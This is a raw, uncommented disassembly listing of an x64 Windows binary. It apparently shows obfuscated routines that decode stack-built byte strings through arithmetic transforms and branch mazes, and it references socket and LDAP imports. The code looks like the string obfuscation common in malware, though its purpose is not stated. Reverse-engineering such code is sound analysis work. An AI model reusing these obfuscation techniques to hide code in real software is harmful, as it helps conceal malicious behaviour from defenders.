lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140105ebf
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140105e70
movabs rcx, 0x54f0c8546e46be80
jmp 0x140105e36
movabs rcx, 0x462b14cb4ff7a880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r9 + 0x80], cl
inc r10
dec r9
jmp 0x140105f85
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0x80], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140105f85
mov r8, r11
movabs rdx, 0x19d9fa2ff50a6680
add rdx, r9
mov al, dl
and al, r11b
mov bl, r11b
add al, al
sub bl, al
add bl, 0x80
add bl, dl
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x80], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x80], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140105f76
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
add bl, 0x80
movzx eax, byte [rbp + r9 + 0x80]
add rax, r10
add r9, rax
inc r9
jmp 0x1401055b4
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401055b1
lea rcx, [r9 + r15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401055a1
lea rdx, [rbp + 0x148b280]
jmp 0x140105fe1
lea rdx, [rbp + 0x9c7800]
jmp 0x140105fe1
lea rdx, [rbp + 0x80]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0xe40]
call fcn.140089cb0
nop
cmp qword [rbp + 0xec8], 0
je 0x1401084dd
mov byte [rbp + 0xbf0], __WSAFDIsSet
mov byte [rbp + 0xbf1], 0xe1
mov byte [rbp + 0xbf2], 0xf2
mov byte [rbp + 0xbf3], 0xf6
mov byte [rbp + 0xbf4], 0xe6
mov byte [rbp + 0xbf5], 0x88
mov byte [rbp + 0xbf6], 0x46
mov byte [rbp + 0xbf7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbf8], 0xea
mov byte [rbp + 0xbf9], 0xf6
mov byte [rbp + 0xbfa], 0xee
mov byte [rbp + 0xbfb], 0xfe
mov byte [rbp + 0xbfc], 0xff
mov byte [rbp + 0xbfd], 0xed
mov byte [rbp + 0xbfe], 0x87
mov byte [rbp + 0xbff], Ordinal_143
mov byte [rbp + 0xc00], Ordinal_143
mov byte [rbp + 0xc01], 0x3d
mov byte [rbp + 0xc02], 0xfd
mov byte [rbp + 0xc03], Ordinal_60
mov byte [rbp + 0xc04], 0xe8
mov byte [rbp + 0xc05], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc06], Ordinal_143
mov byte [rbp + 0xc07], 0x9d
mov byte [rbp + 0xc08], Ordinal_143
mov byte [rbp + 0xc09], 0x86
mov byte [rbp + 0xc0a], 0x9f
mov byte [rbp + 0xc0b], 0x9c
mov byte [rbp + 0xc0c], Ordinal_50
mov byte [rbp + 0xc0d], 0xe8
mov byte [rbp + 0xc0e], 0x9c
mov byte [rbp + 0xc0f], 0x83
mov byte [rbp + 0xc10], __WSAFDIsSet
mov byte [rbp + 0xc11], __WSAFDIsSet
mov byte [rbp + 0xc12], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc13], 0x85
mov byte [rbp + 0xc14], 0x84
mov byte [rbp + 0xc15], 0x80
mov byte [rbp + 0xc16], Ordinal_41
mov byte [rbp + 0xc17], 0xed
mov byte [rbp + 0xc18], 0x9d
mov byte [rbp + 0xc19], __WSAFDIsSet
mov byte [rbp + 0xc1a], __WSAFDIsSet
mov byte [rbp + 0xc1b], 0xe2
mov byte [rbp + 0xc1c], Ordinal_143
mov byte [rbp + 0xc1d], 0x98
mov byte [rbp + 0xc1e], 0xad
mov byte [rbp + 0xc1f], 0xad
mov byte [rbp + 0xc20], Ordinal_32
mov byte [rbp + 0xc21], 0xc1
mov byte [rbp + 0xc22], 0xa7
mov byte [rbp + 0xc23], 0xb7
mov byte [rbp + 0xc24], 0xa5
mov byte [rbp + 0xc25], 0xa6
mov byte [rbp + 0xc26], 0xba
mov byte [rbp + 0xc27], 0xaa
mov byte [rbp + 0xc28], 0xa8
mov byte [rbp + 0xc29], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc2a], Ordinal_217
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc2c], 0xe5
mov byte [rbp + 0xc2d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc2e], 0xc9
mov byte [rbp + 0xc2f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc30], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xc31], 0xb0
mov byte [rbp + 0xc32], 0xa5
mov byte [rbp + 0xc33], 0xa4
mov byte [rbp + 0xc34], 0xc9
mov byte [rbp + 0xc35], 0xb2
mov byte [rbp + 0xc36], 0xbb
mov byte [rbp + 0xc37], 7
mov byte [rbp + 0xc38], 0xf6
mov byte [rbp + 0xc39], 0xaa
mov byte [rbp + 0xc3a], 0xa9
mov byte [rbp + 0xc3b], Ordinal_200
mov byte [rbp + 0xc3c], 0xbe
mov byte [rbp + 0xc3d], 0xaf
mov byte [rbp + 0xc3e], 0x3f
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_listen
mov byte [rbp + 0xc40], 0xfc
mov byte [rbp + 0xc41], Ordinal_50
mov byte [rbp + 0xc42], Ordinal_79
mov byte [rbp + 0xc43], 0xfb
mov byte [rbp + 0xc44], Ordinal_46
mov byte [rbp + 0xc45], 0x54
mov byte [rbp + 0xc46], 0x58
mov byte [rbp + 0xc47], 0x48
mov byte [rbp + 0xc48], Ordinal_79
mov byte [rbp + 0xc49], gethostname
mov byte [rbp + 0xc4a], 0x5d
mov byte [rbp + 0xc4b], Ordinal_79
mov byte [rbp + 0xc4c], 0xf0
mov byte [rbp + 0xc4d], gethostname
mov byte [rbp + 0xc4e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc4f], xmm0
mov byte [rbp + 0xc5f], al
mov dil, byte [rsp + 0x50]
movabs rsi, 0x32bb86de180626b2
movabs r12, 0xf5f603a64b25cd16
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x140106ec8
movzx r8d, byte [rbp + r9 + 0xbf0]
mov r11, r8
cmp rbx, r9
ja 0x140106ebf
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140106327
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x22
jmp 0x140106361
je 0x140106e3b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140106daf
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140106d7a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140106d53
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140106d09
cmp r10, r9
ja 0x140106eb6
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x140106396
movabs rdx, 0x29621037f8812c9a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x1401063d7
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140106ce8
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140106cc4
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140106c9a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140106c73
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140106c4d
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010693a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140106917
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401068f3
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401068cc
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401068ab
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140106888
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140106864
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140106840
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14010681c
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401067f8
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401063e4
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140106e98
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140106e74
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401065e7
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401065c0
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140106599
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401067d5
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401067b2
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140106762
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140106737
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401063e4
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140106710
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1401066fc
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1401066d9
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401066b5
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14010668e
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14010666b
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x140106648
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140106621
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14010660d
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401063e4
lea rbx, [r10 + 3]
lea r10, [rbx + 2]
jmp 0x1401063e4
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401063d7
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140106361
movabs rdx, 0xc0e41f1eab3e67de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x1401062f8
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x140106a7e
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140106d4e
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140106d72
movabs rdx, 0x1aab588b33e47ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140106bed
movabs rdx, 0xb5344acf03d82f40
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106cbc
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x140106d9c
movabs rdx, 0xea462f56a3bf9478
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x48
jmp 0x140106c6b
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x14010682b
movabs rdx, 0x1f5813de43a6f9b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106e5d
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
mov byte [rbp + r9 + 0xbf0], dil
jmp 0x140106e6c
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 5
jb 0x140106755
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140106d2a
movabs rdx, 0x56c0560f6b6f9d6e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 2
jmp 0x14010699c
movabs rdx, 0xf14948533b63500a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x46
jmp 0x14010695d
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x140106e5d
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140106a2d
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140106c6b
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140106d9c
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140106cbc
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140106bea
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106d72
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x140106d4e
movabs rdx, 0xcc93f36e52a4a07c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
jmp 0x140106d27
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x1401069d9
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x140106c1e
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x140106a66
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 6
jae 0x140106bc7
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x140106b20
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140106784
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140106a06
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x140106e5d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140106a35
movabs rdx, 0xb83b2e2c210ea698
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x140106e04
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140106960
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x140106cbc
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140106a96
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106d2a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140106ac3
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x140106d72
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140106af0
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x140106d9c
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010699f
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
jmp 0x140106c6b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140106b4d
movabs rdx, 0xa58840dfe204b268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140106e5a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140106b79
movabs rdx, 0x70765c58421d4d30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x140106c6b
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140106b96
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x1401068ba
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140106784
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x140106d72
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0xbf0]
sub dil, al
sub dil, 0x30
add dil, r8b
add dil, dl
movabs rdx, 0xceea5117da85df02
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 0xe
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xbf0], cl
jmp 0x140106cbc
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xbf0]
add dil, dl
add dil, r8b
jmp 0x140106dd0
movabs rdx, 0xefa3705d48d74a56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
jmp 0x140106dd0
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106d9c
movabs rdx, 0x24b554e4e8beaf8e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
jmp 0x140106d9c
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x140106d72
movabs rdx, 0x8ed91df4288d79fe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140106d27
movabs rdx, 0xc3eb027bc874df36
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
add dil, dl
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xbf0], cl
inc r10
jmp 0x140106d72
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
dec r9
jmp 0x140106e6c
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140106e6c
mov r8, r11
movabs rax, 0x6320b012a82b0ede
add rax, r9
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r8 + rax]
sub dil, 0x12
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xbf0], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xbf0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140106e5d
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0xbf0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401062e5
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x56
jmp 0x1401062e2
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401062d2
lea rdx, [rbp + 0x1620b88]
jmp 0x140106ecf
lea rdx, [rbp + 0x168323a]
jmp 0x140106ecf
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0xe40]
call fcn.1400889c0
lea rcx, [rbp + 0xe40]
call fcn.1401aa82c
mov byte [rbp + 0xa0], __WSAFDIsSet
mov byte [rbp + 0xa1], 0x41
mov byte [rbp + 0xa2], WSACleanup
mov byte [rbp + 0xa3], 0x76
mov byte [rbp + 0xa4], 0x46
mov byte [rbp + 0xa5], 0x68
mov byte [rbp + 0xa6], 0xb4
mov byte [rbp + 0xa7], Ordinal_79
mov byte [rbp + 0xa8], Ordinal_79
mov byte [rbp + 0xa9], Ordinal_79
mov byte [rbp + 0xaa], Ordinal_200
xor eax, eax
mov dword [rbp + 0xab], eax
mov word [rbp + 0xaf], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xf4683f0d7d443fe2
movabs r12, 0x115843e719ecb0a6
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x1401079ce
movzx r8d, byte [rbp + r9 + 0xa0]
mov r11, r8
cmp rdi, r9
ja 0x1401079c5
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140106faf
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x140106fdc
je 0x140107941
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401078bc
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140107893
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140107849
cmp r10, r9
ja 0x1401079bc
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x140107005
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x14010718e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010782a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010780a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401077d4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401077b2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140107790
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140107499
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140107473
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140107451
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010742f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140107409
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401073e7
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401073c1
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010799f
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140107979
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401071cb
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1401071a5
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010717f
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140107361
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401072d3
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401072b0
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010728a
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140107268
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140107245
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140107231
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140107210
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401071ed
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x140107053
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140107046
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140106fdc
movabs rcx, 0xe2f9401d0efdb02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x140106f81
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x78
jmp 0x1401078b4
movabs rdx, 0xa9f7e68945306d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
jmp 0x140107734
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010755f
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1401077f8
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x1401078dc
movabs rdx, 0x6b5ee1d5b0e6df4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010790c
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x140107962
movabs rdx, 0x863b3888f91faf3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x64
